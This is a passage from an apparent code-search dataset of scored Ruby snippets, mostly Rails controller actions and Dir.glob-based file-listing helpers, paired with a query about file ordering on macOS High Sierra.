get_subjects(user_id:, host:, workflow_id:, limit: nil, group_id: nil)\n response = send_http host, :get, \"/workflows/#{ workflow_id }\", querystring(user_id: user_id, group_id: group_id, limit: limit)\n ensure_valid_response response\n MultiJson.load response.body\n end", "title": "" }, { "docid": "9a29acc0866167777f5994bef9c02502", "score": "0.65326357", "text": "def index\n @studentsubjects = Studentsubject.all\n end", "title": "" }, { "docid": "bb80d57db56f99630b6a5cf68e56f9cd", "score": "0.65126455", "text": "def show\n @subject_category = SubjectCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subject_category }\n end\n end", "title": "" }, { "docid": "a66e263221adcbc8a96cc114c4d8371f", "score": "0.65035355", "text": "def subjects; end", "title": "" }, { "docid": "210842aad51ac8d7cbd4aa7fdfd69580", "score": "0.6502887", "text": "def index\n page = params[:page] != nil ? params[:page] : \"1\"\n @subjects = Subject.paginate(:page => page,\n :per_page => ApplicationHelper::RESULTS_PER_PAGE,\n :order => 'id ASC')\n end", "title": "" }, { "docid": "e63d0e7c014371aef7bf096feb95d0f8", "score": "0.6500047", "text": "def subjects=(value)\n\t\t@subjects = value\n\tend", "title": "" }, { "docid": "2be27c2ca3c083c14a7df8aa365a923e", "score": "0.6459927", "text": "def index\n @courses_subjects = CoursesSubject.all\n end", "title": "" }, { "docid": "50fe2e7f7ea3e4c12143dc5796ae54e4", "score": "0.6453143", "text": "def index\n @tutor_subjects = TutorSubject.all\n end", "title": "" }, { "docid": "b92ff81381e5928778d8a6a68ba6be3c", "score": "0.64490145", "text": "def show\n @subject = Subject.find(params[:id])\n @title = \"Предмет: \" << @subject.title\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subject }\n end\n end", "title": "" }, { "docid": "b1c41bf48cfed269c0b956aa7c938aba", "score": "0.64352036", "text": "def index\n\n if params[:tag]\n @subjects = Subject.tagged_with(params[:tag])\n\n elsif params[:srchquery]\n @subjects = Subject.search_by_basic(params[:srchquery])\n else\n @subjects = Subject.all\n end\n\n \n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @subjects }\n end\n end", "title": "" }, { "docid": "2c5ed611d8233a48f672d08a220a738a", "score": "0.6434526", "text": "def index\n \n @subject = Subject.find(params[:subject_id])\n\n\n end", "title": "" }, { "docid": "7a88928cabadae0b72c9b06e96d88ce3", "score": "0.64299655", "text": "def index\n if @student\n unless teacher_signed_in?\n @evaluations = @student.evaluations.order(\"subject_id ASC\")\n else\n @evaluations = @student.evaluations.order(\"subject_id ASC\").select do |e| \n e if current_user.rolable.subjects.map { |s| s.id }.include?(e.subject_id)\n end\n end\n respond_with @evaluations\n elsif @class\n @students = @class.students\n get_all_subjects\n @selected_subject = (params[:subject_id]) ? params[:subject_id] : @subjects.first\n respond_with @subject\n end\n end", "title": "" }, { "docid": "f87851089a3a96c3611f5a303c82b38f", "score": "0.642348", "text": "def index\n @subjects = current_user.subjects.active\n \n respond_to do |format|\n if @subjects.empty?\n format.html { redirect_to new_subject_path }\n format.xml { render :xml => @subjects }\n else\n format.html # index.html.erb\n format.xml { render :xml => @subjects }\n end\n end\n end", "title": "" }, { "docid": "fdd1a2404285c2b12cebc23ca64b6f7b", "score": "0.64232373", "text": "def get_students\n @course = Course.find(params[:course_id])\n\n render json: @course.students\n end", "title": "" }, { "docid": "74a33c9f5f1890143e61de681598c8cf", "score": "0.6408319", "text": "def index\n @type_subjects = TypeSubject.all\n end", "title": "" }, { "docid": "e4130b7a82f96a139078041a62903475", "score": "0.6402059", "text": "def index\n @course_by_subjects = CourseBySubject.all\n end", "title": "" } ]
bd9e4a8feea6aa3603cb0812fbf523d1
Apple introducted a new file system in High Sierra (UTF8). Mac OS Extended was UTF16 and the ruby source code `dir.c` explicitly assumes UTF16 for the __APPLE__ compiler flag (which as been the case for the past 30 years until 2018). This causes Dir.glob to return a different file order on High Sierra vs Sierra. This method is a compatible version of Dir.glob from Sierra and is used by RM to load ruby and header files in lexicographical order. See: and: for more info.
[ { "docid": "8ce73ff7730c393b17b669fda6e78229", "score": "0.60613364", "text": "def lexicographically pattern\n\tsupported_extensions = %w( c m cpp cxx mm h rb)\n\tpathnames = Pathname.glob pattern\n\tpathnames.sort_by do |p|\n\t p.each_filename.to_a.map(&:downcase).unshift supported_extensions.index(p.to_s.split(\".\").last)\n\tend.map { |p| p.to_s }\n end", "title": "" } ]
[ { "docid": "92d48190e6817e3fb7f0fa4ddfb9fe01", "score": "0.7471829", "text": "def glob_directory(path)\n results = ::Dir[path]\n\n return results unless RUBY_PLATFORM =~ /darwin/\n\n results.map { |r| r.encode('UTF-8', 'UTF-8-MAC') }\n end", "title": "" }, { "docid": "af2c0e1c4471594fd46d5a47073b3cc2", "score": "0.6459394", "text": "def glob\n directory << File::SEPARATOR << '*' << File.extname(__FILE__)\n end", "title": "" }, { "docid": "fce5dd4d676dc324a31e96e98129dc29", "score": "0.64169705", "text": "def glob_files(glob)\n absolute = Pathname.new(glob).absolute?\n Dir[absolute ? glob : File.join(ASSET_ROOT, glob)].sort\n end", "title": "" }, { "docid": "d73db6eff9c689bc7bdcc114ac0ae405", "score": "0.627745", "text": "def globNames\n @globNames = globEntries.collect { |e| e.namespace == NTFS::FileName::NS_DOS ? nil : e.name.downcase }.compact if @globNames.nil?\n @globNames\n end", "title": "" }, { "docid": "a62e832e02538b8cbbf130ff103eaeff", "score": "0.61813676", "text": "def glob(path); end", "title": "" }, { "docid": "0fb418692d75e2d7563dbbfd08d01a41", "score": "0.6157865", "text": "def glob; end", "title": "" }, { "docid": "efc0e971136e4498969a9a2815e879a1", "score": "0.6125224", "text": "def [](*glob); return Dir.glob(glob,0); end", "title": "" }, { "docid": "0267e39c30a8c39b19cda205e389bb95", "score": "0.60612494", "text": "def get_files directory\n files = Dir.glob( directory + \"/\" + File.join(\"**\",\"*.rb\")).sort()\n return files\n end", "title": "" }, { "docid": "ef8d08d0e68548258870c0ad6e95d6cf", "score": "0.60328317", "text": "def glob(globs)\n globs.map { |g| Pathname.glob g }.flatten.map(&:to_s).uniq\nend", "title": "" }, { "docid": "96745a518e78c8ad82b11623c44754b8", "score": "0.60278887", "text": "def match_glob(s)\n glob = '*' + s.gsub(/./, '\\0*')\n args = [\"./\" + glob]\n args << File::FNM_CASEFOLD if s.downcase == s\n matches = Dir.glob(*args).select { |file| test(?d, file) }\n if ! matches.empty?\n matches\n else\n `find -type d -follow 2>/dev/null`.gsub(/^\\.\\//,'').split.delete_if {|i| File.basename(i) !~ Regexp.new(glob.gsub('*','.*'))}\n end\nend", "title": "" }, { "docid": "4e7250d310fb0314e70ebab627ab0aec", "score": "0.6027521", "text": "def glob(pattern)\n (@target.glob(pattern) + @game.glob(pattern)).uniq{|file| file.to_s.downcase}.sort\n end", "title": "" }, { "docid": "571142217da2b5bff1781bfb7597a904", "score": "0.5998347", "text": "def globs_for(path); end", "title": "" }, { "docid": "06c9a02186a703942a2cf6980705cc21", "score": "0.59927195", "text": "def cpp_files_in(some_dir)\n raise ArgumentError, 'some_dir is not a Pathname' unless some_dir.is_a? Pathname\n return [] unless some_dir.exist? && some_dir.directory?\n\n real = some_dir.realpath\n files = Find.find(real).map { |p| Pathname.new(p) }.reject(&:directory?)\n cpp = files.select { |path| CPP_EXTENSIONS.include?(path.extname.downcase) }\n not_hidden = cpp.reject { |path| path.basename.to_s.start_with?(\".\") }\n not_hidden.sort_by(&:to_s)\n end", "title": "" }, { "docid": "9c0833e12d847b52aeda61b607a3e2d4", "score": "0.598402", "text": "def cpp_files_in(some_dir)\n return [] unless File.exist?(some_dir)\n real = File.realpath(some_dir)\n files = Find.find(real).reject { |path| File.directory?(path) }\n ret = files.select { |path| CPP_EXTENSIONS.include?(File.extname(path)) }\n ret\n end", "title": "" }, { "docid": "975ca18258d89ed2c3bb1df7ccc413fa", "score": "0.59455436", "text": "def dir2\n\tvariable = File.join(\"**\",\"*.rb\")\n\tDir.glob(variable)\nend", "title": "" }, { "docid": "5ae492d76320d30c069e301721544804", "score": "0.59006613", "text": "def safeGlob(dir,wildcard)\r\n ret = []\r\n afterChdir = false\r\n begin\r\n Dir.chdir(dir) {\r\n afterChdir = true\r\n Dir.glob(wildcard) { |f| ret.push(dir+\"/\"+f) }\r\n }\r\n rescue Errno::ENOENT\r\n raise if afterChdir\r\n end\r\n if block_given?\r\n ret.each { |f| yield(f) }\r\n end\r\n return (block_given?) ? nil : ret\r\nend", "title": "" }, { "docid": "257f4f899e2cad9b7cb62c47bb72b364", "score": "0.58821076", "text": "def listMusicFiles(path)\n Dir.glob(path + \"**/*{\" + Mpeg::EXT + \",\" + Flac::EXT + \"}\", caseinsensitive)\nend", "title": "" }, { "docid": "c5a703510d7b692cb1c106cd79e3334c", "score": "0.58658767", "text": "def all_globs_in(dir_name, glob)\n $stderr.puts \"globbing #{dir_name}#{glob}\"\n Dir[dir_name + glob].map do |fn|\n case File.ftype(fn)\n when 'link'\n if 0 == recursion_limit\n raise MaxSymlinkDepthExceededError.new(fn)\n else\n absolute_target = self.resolve_symlink(fn)\n if File.file?(absolute_target)\n fn\n else\n all_files_in(absolute_target, recursion_limit-1).map do |sfn|\n fn + sfn[absolute_target.size..-1]\n end\n end\n end\n when 'file'\n fn\n when 'directory'\n nil\n else\n raise UnsupportedFileTypeError.new(fn)\n end\n end.compact.flatten\n end", "title": "" }, { "docid": "3709c795374c582df20b28cc46fdee90", "score": "0.58467144", "text": "def all_files_in_dir(p_dir)\n [File.join(p_dir, \"**\", \"*\"), File.join(p_dir, \"**\", \".*\")]\n end", "title": "" }, { "docid": "ad20a5a61ac9055c76c35721b3256641", "score": "0.5844546", "text": "def file_list\n return Dir[File.join(@dir, '**', FILE_EXT)]\nend", "title": "" }, { "docid": "c00e396423c1bd02a7273533c29e3be8", "score": "0.5805343", "text": "def get_glob_list(snoopy)\n Snoopit.logger.debug \"Snooping glob: #{snoopy.glob}\"\n cwd = Dir.getwd\n begin\n Dir.chdir snoopy.dir\n files = Dir.glob snoopy.glob\n ensure\n Dir.chdir cwd\n end\n files\n end", "title": "" }, { "docid": "f7dde837cbbc4eb66cffe465c0e30c26", "score": "0.5784779", "text": "def all_paths\n # MRuby does not have `Dir` defined\n if RUBY_ENGINE == 'mruby'\n fonts = `find #{directory} -name *.ttf`.split(\"\\n\")\n # If MRI and/or non-Bash shell (like cmd.exe)\n else\n fonts = Dir[\"#{directory}/**/*.ttf\"]\n end\n\n fonts = fonts.reject do |f|\n f.downcase.include?('bold') ||\n f.downcase.include?('italic') ||\n f.downcase.include?('oblique') ||\n f.downcase.include?('narrow') ||\n f.downcase.include?('black')\n end\n\n fonts.sort_by { |f| f.downcase.chomp '.ttf' }\n end", "title": "" }, { "docid": "f7dde837cbbc4eb66cffe465c0e30c26", "score": "0.5784779", "text": "def all_paths\n # MRuby does not have `Dir` defined\n if RUBY_ENGINE == 'mruby'\n fonts = `find #{directory} -name *.ttf`.split(\"\\n\")\n # If MRI and/or non-Bash shell (like cmd.exe)\n else\n fonts = Dir[\"#{directory}/**/*.ttf\"]\n end\n\n fonts = fonts.reject do |f|\n f.downcase.include?('bold') ||\n f.downcase.include?('italic') ||\n f.downcase.include?('oblique') ||\n f.downcase.include?('narrow') ||\n f.downcase.include?('black')\n end\n\n fonts.sort_by { |f| f.downcase.chomp '.ttf' }\n end", "title": "" }, { "docid": "9af59817b8c1d347ea1e45e9476976f4", "score": "0.5781086", "text": "def glob\n \"**/*\"\n end", "title": "" }, { "docid": "1d502548b3c01df5ecaa9456f7ed58e0", "score": "0.577575", "text": "def safeGlob(dir,wildcard)\n ret=[]\n afterChdir=false\n begin\n Dir.chdir(dir){\n afterChdir=true\n Dir.glob(wildcard){|f|\n ret.push(dir+\"/\"+f)\n }\n }\n rescue Errno::ENOENT\n raise if afterChdir\n end\n if block_given?\n ret.each{|f|\n yield(f)\n }\n end\n return (block_given?) ? nil : ret\nend", "title": "" }, { "docid": "4b3a2712e60ca81bebb627e3ec4d29c1", "score": "0.57747555", "text": "def list_files(dir)\n return Dir[dir + \"*\"]\nend", "title": "" }, { "docid": "4b3a2712e60ca81bebb627e3ec4d29c1", "score": "0.57747555", "text": "def list_files(dir)\n return Dir[dir + \"*\"]\nend", "title": "" }, { "docid": "b6e31cb3fd5f9e164767d8b63215ba0e", "score": "0.5764282", "text": "def load_files(dir)\n files = []\n d = Dir.open(Dir.pwd + '/' + dir)\n d.each do |file|\n if file != '.' && file != '..'\n files << File.open(dir + '/' + file, 'r').read.unpack('C*').pack('U*') \n end\n end\n files\nend", "title": "" }, { "docid": "77cfc2f1542d02b8d08da4542b2e90d7", "score": "0.5741609", "text": "def files glob = :all, relative = false\n glob = case glob\n when :all\n '**/*'\n when :hidden\n '**/.*'\n else\n glob\n end\n\n files = ::Dir.glob(File.join(@path, glob), File::FNM_DOTMATCH).select do |file|\n File.file? file\n end\n\n if relative\n base_path = Pathname.new @path\n files = files.collect do |file|\n Pathname.new(file).relative_path_from(base_path).to_s\n end\n end\n\n files\n end", "title": "" }, { "docid": "7e9e00f68c57f5e4ef76ac7c22ffd323", "score": "0.5728959", "text": "def ls_files\n ls.select(&:file?)\n #Dir.glob(\"#{path}*\", File::FNM_DOTMATCH).map { |s| Path.new(s, :type=>:file) }\n end", "title": "" }, { "docid": "931e40787db12b0afed6b0223e2e83d0", "score": "0.5708835", "text": "def ls(rawpath)\n \n path, switch = rawpath.split(/\\s+/,2)\n wildcard = path.include?('*') ? '' : '*'\n path = File.join(path, wildcard) if File.exist? File.join(@path, path)\n \n a = Dir[File.join(@path, path)].map do |x| \n \n File.basename(x)\n end\n \n if switch == '-ltr' then\n a.sort_by {|x| File.mtime(File.join(@path, File.dirname(path), x)) } \n else\n a\n end\n \n end", "title": "" }, { "docid": "a987b9b3b88ef11cf4f9300b1f012fa0", "score": "0.5693752", "text": "def f files\n files.map do |path|\n Dir.glob(path)\n end.flatten.uniq.join(' ')\nend", "title": "" }, { "docid": "371359150b53cc6d4f8c47c1e8c8c38f", "score": "0.568979", "text": "def list_all_files\n Dir['*']\n end", "title": "" }, { "docid": "12fd6499a73b69fafeb8165f857c9c3a", "score": "0.5689031", "text": "def glob_match(filenames, pattern)\n results = Array.new\n #Convert pattern to ruby regex from bash regex\n pattern = pattern.gsub(\"\\?\", \".\")\n pattern = pattern.gsub(\"\\*\", \".*\")\n #convert into a proper regex\n pattern = Regexp.new(pattern)\n filenames.each{|name|\n name=name[pattern]\n if(name)\n results << name\n end\n }\n return results\n\nend", "title": "" }, { "docid": "89130b6699dcd94b5ecb5c753cef03b6", "score": "0.5684598", "text": "def audio_files_in_dir(dir)\n extensions = []\n AudioFile::SUPPORTED_EXTENSIONS.each { |e| extensions << \"*.#{ e }\" }\n search = File.join(dir, \"**/{\" + extensions.join(',') + \"}\")\n files = Dir.glob(search, File::FNM_CASEFOLD | File::FNM_PATHNAME)\n \nend", "title": "" }, { "docid": "a9f90c233ad997bc0063904049456c49", "score": "0.5682604", "text": "def glob\n root.join('**', '*.rb')\n end", "title": "" }, { "docid": "a9f90c233ad997bc0063904049456c49", "score": "0.5682604", "text": "def glob\n root.join('**', '*.rb')\n end", "title": "" }, { "docid": "9ee8445e00fac2729ca91f1c61b197ef", "score": "0.5662046", "text": "def fs_dirEntries(p)\n # Get path directory.\n dir = ifs_getDir(p)\n return nil if dir.nil?\n dir.globNames\n end", "title": "" }, { "docid": "9ee8445e00fac2729ca91f1c61b197ef", "score": "0.5662046", "text": "def fs_dirEntries(p)\n # Get path directory.\n dir = ifs_getDir(p)\n return nil if dir.nil?\n dir.globNames\n end", "title": "" }, { "docid": "9ee8445e00fac2729ca91f1c61b197ef", "score": "0.5662046", "text": "def fs_dirEntries(p)\n # Get path directory.\n dir = ifs_getDir(p)\n return nil if dir.nil?\n dir.globNames\n end", "title": "" }, { "docid": "25ddbdc242d7daaecb6b42198a328118", "score": "0.5662023", "text": "def dir_glob(glob_path=self,&block)\n glob_str = glob_path.literal\n \n escape_chars = self.class.dir_glob_escape_chars()\n glob_str.gsub!(/[#{Regexp.escape(escape_chars)}]/) { |m| \"\\\\#{m}\" }\n \n Dir[glob_str,&block]\n end", "title": "" }, { "docid": "462674a48b47442be9dc60261789a435", "score": "0.5646717", "text": "def ruby_files(dir)\n Dir.glob(\"#{dir}/*.rb\")\n end", "title": "" }, { "docid": "3ed72a8e1d41632f8d960c4be8e3e361", "score": "0.56278676", "text": "def recursive_search glob=\"**/*\"\n @command = Proc.new {|str| Dir.glob(glob).select do |p| p.index str; end }\n end", "title": "" }, { "docid": "d2f59db8d49eb42311eb2006011dd25b", "score": "0.56240714", "text": "def glob(path, pattern, flags = T.unsafe(nil)); end", "title": "" }, { "docid": "0b260d65ec7191babcbf30276351d694", "score": "0.56220704", "text": "def glob_match(filenames, pattern)\n pat = pattern.gsub(/[A-z]/) {|c| '(' + c + ')'}\n pat.gsub!(/[*]/, '*' => '.*', '?' => '.')\n array=[]\n filenames.each{|filename| filename.match(pat) {|mat| array << mat[0]}} \n return array\n \n \nend", "title": "" }, { "docid": "75fafbcc047a3909d712c5f2628ffe83", "score": "0.56220335", "text": "def find_swift_files\n renamed_files_hash = git.renamed_files.map { |rename| [rename[:before], rename[:after]] }.to_h\n\n post_rename_modified_files = git.modified_files\n .map { |modified_file| renamed_files_hash[modified_file] || modified_file }\n\n files = (post_rename_modified_files - git.deleted_files) + git.added_files\n\n @exclude = %w() if @exclude.nil?\n\n files\n .select { |file| file.end_with?(\".swift\") }\n .reject { |file| @exclude.any? { |glob| File.fnmatch(glob, file) } }\n .uniq\n .sort\n end", "title": "" }, { "docid": "5cd71f13fa2c4c0f2f77898ad35a5dbc", "score": "0.56169313", "text": "def supported_files\n langs = %w(sh rb py go m mm h cpp css js class java php bat ps1 swift f pm pl)\n '-name \"' + langs.join('\" -o -name \"*.') + '\"'\n end", "title": "" }, { "docid": "5cd71f13fa2c4c0f2f77898ad35a5dbc", "score": "0.56169313", "text": "def supported_files\n langs = %w(sh rb py go m mm h cpp css js class java php bat ps1 swift f pm pl)\n '-name \"' + langs.join('\" -o -name \"*.') + '\"'\n end", "title": "" }, { "docid": "afb678bdad78d8b54aac18cd9b22c650", "score": "0.56146324", "text": "def check_globs(filename)\n enum = Enumerable::Enumerator.new(@globs, :each_key)\n found = enum.select { |pattern| File.fnmatch pattern, filename }\n\n if found.empty?\n downcase_filename = filename.downcase\n found = enum.select { |pattern|\n File.fnmatch pattern, downcase_filename\n }\n end\n\n @globs[found.max]\n end", "title": "" }, { "docid": "503a117675afd3d225f1fa54a9c129fc", "score": "0.56092846", "text": "def list\n Dir[path_to('*')].select do |file|\n File.basename(file)[/^(?!_)\\w+\\.rb$/]\n end.map do |file|\n File.basename(file, '.rb').to_sym\n end\n end", "title": "" }, { "docid": "5b0cf3a297631ece613af5d7c2da30eb", "score": "0.56064886", "text": "def fs_dirEntries(p)\n # Get path index (directory).\n index = ifs_getDir(p)\n return nil if index.nil?\n index.globNames\n end", "title": "" }, { "docid": "dfbb83e4d40acb52126582fc96241eca", "score": "0.5577339", "text": "def find_file_names(directory)\n file_names = Array[]\n temp = Dir.entries(directory)\n temp.each do |symbol|\n if (symbol != '.') && (symbol != '..')\n file_names.push(symbol)\n end\n end\n file_names\nend", "title": "" }, { "docid": "b3aba4dd83dbac1e32768b62aabd560d", "score": "0.55657476", "text": "def glob(dir = nil)\n dir ||= Dir.pwd\n Dir.chdir(File.join(dir, @root)) do\n files = if @wildcard.nil? || File.directory?(@wildcard)\n Dir.glob(File.join(@wildcard, '**/*'))\n else\n Dir.glob(@wildcard)\n end\n return files.select { |x| File.file?(x) }\n end\n end", "title": "" }, { "docid": "8db049e30144d9a41b8c94fd222e65ad", "score": "0.55651134", "text": "def find_files()\n\t$files = Dir.glob('*.*')\nend", "title": "" }, { "docid": "f01b5db9afb98d740759453e1fdae5ec", "score": "0.55464536", "text": "def list_files\n @files = Dir.glob('*')\n end", "title": "" }, { "docid": "5a90f8e229e31c423c4ef312f319a0b9", "score": "0.554228", "text": "def collect_files(file_name)\n regexp = file_regexp(file_name)\n naive_list = Dir.glob(\"#{file_name}*\")\n file_list = naive_list.select { |f| regexp.match(f) }\n file_list.map { |f| File::Undetermined.new(f) }.sort\n end", "title": "" }, { "docid": "e937313c5d5cad042011e0918d908f9f", "score": "0.5536109", "text": "def glob_all(path=nil)\n Dir.chdir path || '.' do\n Dir.glob(\"**/*\", context.include_hidden_files? ? File::FNM_DOTMATCH : 0).sort.map do |p|\n Pathname(p)\n end\n end\n end", "title": "" }, { "docid": "c2057d767c7454460a979e26ef8337b6", "score": "0.5532629", "text": "def find_files(glob = '*.rb')\n files = []\n Find.find(@project_dir) do |path|\n if File.basename(path) =~ /#{glob}/\n puts \"Found a file: #{path}\"\n files << path\n end\n end\n files\n end", "title": "" }, { "docid": "70effcc6615f43aaba49a5d42ac72a39", "score": "0.5524556", "text": "def file_glob glob\n files = []\n\n Dir.glob(glob) do |markdown_file|\n next if File.directory? markdown_file\n files << File.expand_path(markdown_file)\n end\n\n files\nend", "title": "" }, { "docid": "bd8aa6d612f2f020cb94efc119c0faac", "score": "0.5524515", "text": "def sorted_file_names\n filematch = EXTENSIONS.map { |e| \"-iname \\\"*.#{ e }\\\"\" }.join(\" -o \")\n source = SOURCES.join(\" \")\n period = 365 # 1 year\n cmd = \"find #{ source } -mtime -#{ period } \\\\( #{ filematch } \\\\)\"\n files = run_cmd(cmd)\n\n files = files.uniq\n files = remove_whole_tv_series(files)\n\n files = files.map { |f| Pathname.new(f) }\n files = files.sort { |f1, f2| f2.mtime <=> f1.mtime }\n\n return files[0, MAX]\nend", "title": "" }, { "docid": "bc123c33ab4168d6093af9498c603b25", "score": "0.55176806", "text": "def glob(pattern)\n Dir.glob(pattern, File::FNM_DOTMATCH).sort.reject do |file|\n IGNORED_FILES.include?(File.basename(file))\n end\n end", "title": "" }, { "docid": "9513684cd0f2b4ee7e353bce2327d31c", "score": "0.55163425", "text": "def glob_all(path=nil)\n Dir.chdir path || '.' do\n Dir.glob(\"**/*\", context.include_hidden_files? ? File::FNM_DOTMATCH : 0).sort.map { |path|\n Pathname(path)\n }\n end\n end", "title": "" }, { "docid": "32df2e884decebbe984d669524d96915", "score": "0.55057335", "text": "def glob_files(directory)\n return Dir.glob(File.join(directory, '**/*.rb'))\n end", "title": "" }, { "docid": "ed7350d27ceee9f29ded6c49837f0aab", "score": "0.55054194", "text": "def available_locales\n (Dir.glob(File.join(RAILS_ROOT, 'locale/[a-z]*')).map { |path|\n File.basename(path)} << 'en').uniq.sort\n end", "title": "" }, { "docid": "3df21f794537a81c9a58ebbee100056c", "score": "0.55005187", "text": "def from_glob(glob_pattern)\n dirs_of_matched_files = Dir.glob(glob_pattern).map(&File.method(:dirname)).uniq\n dirs_of_matched_files.map(&method(:entries)).flatten\n end", "title": "" }, { "docid": "604d5f1485cf948261c988cca095157c", "score": "0.5491821", "text": "def glob(pattern)\n pattern = Pathname.new(pattern).cleanpath.to_s\n Dir.glob(pattern, File::FNM_DOTMATCH).sort.reject do |file|\n basename = File.basename(file)\n IGNORED_FILES.include?(basename)\n end\n end", "title": "" }, { "docid": "0d64072493de59918ebd3eeea0db3478", "score": "0.5487806", "text": "def files_to_copy\n rgxp = %r/\\A#{skeleton_dir}\\/?/o\n exclude = %r/tmp$|bak$|~$|CVS|\\.svn/o\n\n ary = Dir.glob(File.join(skeleton_dir, '**', '*')).map do |filename|\n next if exclude =~ filename\n next if test(?d, filename)\n filename.sub rgxp, ''\n end\n\n ary.compact!\n ary.sort!\n ary\n end", "title": "" }, { "docid": "2bb3cd154dff1a535a6384b06a861e86", "score": "0.5482729", "text": "def globify_and_format(paths)\n # Alphabetize our paths before getting started.\n paths.sort!\n\n paths.each_index do |index|\n total_paths = paths.count\n path_exploded = paths[index].split('/')\n path_exploded.delete_at(-1)\n path = path_exploded.join('/')\n globbed = []\n unless path == ''\n ((index + 1)..(total_paths - 1)).to_a.each do |i|\n i_exploded = paths[i].split('/')\n i_exploded.delete_at(-1)\n i_path = i_exploded.join('/')\n if i_path === path\n globbed << i\n else\n # At this point, we've found all the \"globbable\" lines. We now need to check the next line to make sure that\n # our globbed path doesn't INCLUDE the next path when it expands.\n #\n # Example:\n # paths => {\n # [0] => js/custom.js,\n # [1] => js/main.js,\n # [2] => js/helper.js,\n # [3] => js/scriptaculous/custom.js,\n # [4] => js/scriptaculous/helper.js\n # }\n # === Becomes ===\n # paths => {\n # [0] => js/*\n # [1] => js/scriptaculous/*\n # }\n #\n # These two lines conflict, and may overwrite valid files. Instead, we SHOULDN'T glob if the next line is a\n # subdirectory.\n i_exploded.delete_at(-1)\n i_path = i_exploded.join('/')\n globbed = [] if i_path == path\n break\n end\n end\n end\n\n\n # convert paths to true modman-style entries\n # each entry is a simple 1-to-1 mapping\n if globbed.empty?\n paths[index] = paths[index] + \"\\t\" + paths[index]\n else\n paths.slice!(globbed[0]..globbed[-1])\n paths[index] = path + \"/*\\t\" + path + \"/\"\n end\n end\nend", "title": "" }, { "docid": "306acda358a2fe7ff7b1d217e176409a", "score": "0.54730105", "text": "def glob_map; end", "title": "" }, { "docid": "a68cfe7567f7378e722e0ab8ed6f197d", "score": "0.54597306", "text": "def index_glob(dir='')\n pattern = dir.sub(/\\/+$/, ?/) + ?*\n files = []\n dirs = []\n Dir[pattern].each do |f|\n next if File.basename(f)[/^[.]/]\n if File.directory?(f)\n f = f.sub(/\\/*$/, ?/)\n dirs += ['', f] + index_glob(f)\n else\n files << f\n end\n end\n files + dirs\n end", "title": "" }, { "docid": "a68cfe7567f7378e722e0ab8ed6f197d", "score": "0.54597306", "text": "def index_glob(dir='')\n pattern = dir.sub(/\\/+$/, ?/) + ?*\n files = []\n dirs = []\n Dir[pattern].each do |f|\n next if File.basename(f)[/^[.]/]\n if File.directory?(f)\n f = f.sub(/\\/*$/, ?/)\n dirs += ['', f] + index_glob(f)\n else\n files << f\n end\n end\n files + dirs\n end", "title": "" }, { "docid": "70380c25141a81a838ba3355a482a733", "score": "0.5456308", "text": "def local_files\n files = []\n %w/json rb/.each do |ext|\n files << Dir[\"#{@path}/*.#{ext}\", \"#{@path}/*/*.#{ext}\", \"#{@path}/*/*/*.#{ext}\"] \n end\n files.flatten.sort.uniq\n end", "title": "" }, { "docid": "df52ac67c030c7c7a5b796317c5d6f3f", "score": "0.5450741", "text": "def _files_to_copy\n rgxp = %r/\\A#{source}\\/?/\n exclude = %r/tmp$|bak$|~$|CVS|\\.svn/\n\n ary = Dir.glob(File.join(source, '**', '*'), File::FNM_DOTMATCH).map do |filename|\n next if exclude =~ filename\n next if test(?d, filename)\n filename.sub rgxp, ''\n end\n\n ary.compact!\n ary.sort!\n ary\n end", "title": "" }, { "docid": "ea07213aea53c86bdaf25560d32ad173", "score": "0.5446321", "text": "def files( dir, copy )\n Dir.chdir(dir) do\n del, add = copy.partition{ |f| /^[-]/ =~ f }\n\n # remove - and + prefixes\n del.collect!{ |f| f.sub(/^[-]/,'') }\n add.collect!{ |f| f.sub(/^[+]/,'') }\n\n #del.concat(must_exclude)\n\n files = []\n add.each{ |g| files += Dir.glob(g) }\n del.each{ |g| files -= Dir.glob(g) }\n\n files.collect!{ |f| f.sub(/^\\//,'') }\n\n return files\n end\n end", "title": "" }, { "docid": "335021ddf7b11e73eea41c9b20bcca36", "score": "0.5431274", "text": "def get_files(dir)\n # msg = Msg.new()\n if lang.nil? || lang.empty? || (lang == '')\n return nil\n elsif dir.nil? || dir.empty? || (dir == '')\n return nil\n end\n raise 'is not a valid directory' unless File.directory?(dir)\n\n ext = \".#{lang}\"\n # lib_files = File.join(File.expand_path(dir), \"**\", \"*#{ext}\")\n lib_files = File.join(dir, '**', \"*#{ext}\")\n # Vulture::Output.print_debug(\"::#{__method__}::MSG::Obj::#{lib_files.inspect}\")\n\n files = Dir.glob(lib_files)\n if files.nil? || files.empty?\n raise \"no files \\\"#{lang}\\\" founds\"\n # return nil\n else\n files.uniq\n end\n rescue Exception => e\n raise e.message\n end", "title": "" }, { "docid": "e113c5c4b7167579697c33ac5a67d41c", "score": "0.5428405", "text": "def file_list_from_args(glob)\n files = []\n ARGV.each do |path|\n if File.directory?(path)\n files.concat(Dir.glob(File.join(path, glob)))\n elsif File.exists?(path)\n files << path\n else\n puts \"File not found: #{path}\"\n exit\n end\n end\n files\n end", "title": "" }, { "docid": "0149fa7ccf27925e35e3ca492db6ccb4", "score": "0.5427148", "text": "def scan(constant)\n segment = constant_to_path(constant)\n paths = Dir.glob(glob_pattern(segment))\n\n # Lets see if we can find anything when using dashes for the directory\n # names instead of underscores.\n if paths.empty?\n segment = constant_to_dashed_path(constant)\n paths = Dir.glob(glob_pattern(segment))\n end\n\n ignore.each do |pattern|\n paths.reject! do |path|\n path.include?(pattern)\n end\n end\n\n # Ensure that the order is from top-level -> deeply nested files instead\n # of a random order.\n paths.sort! do |left, right|\n left.length <=> right.length\n end\n\n return paths\n end", "title": "" }, { "docid": "449e52c6904d4987659b2de48c55c6c5", "score": "0.54238653", "text": "def files(dir)\n (Pathname.new(dir).children - subdirectories(dir)).sort\n end", "title": "" }, { "docid": "bbf84445a361bd793c159b602a9ca7bd", "score": "0.5406987", "text": "def ordered_by_os_arch_match\n PATHS.sort_by do |path|\n [path.os == OS ? 0 : 1, path.arch == ARCH ? 0 : 1]\n end\n end", "title": "" }, { "docid": "dc91a18a2b0ad2d09fe57ce5412eae06", "score": "0.53911895", "text": "def create_filename_list (param)\n ar = []\n Dir::glob(param){|f|\n next unless FileTest.file?(f)\n ar << f\n }\n return ar\nend", "title": "" }, { "docid": "12e19816abddb5cc3767588d22bd57af", "score": "0.5389831", "text": "def readDirectoryFiles(directory,formats)\n files=[]\n 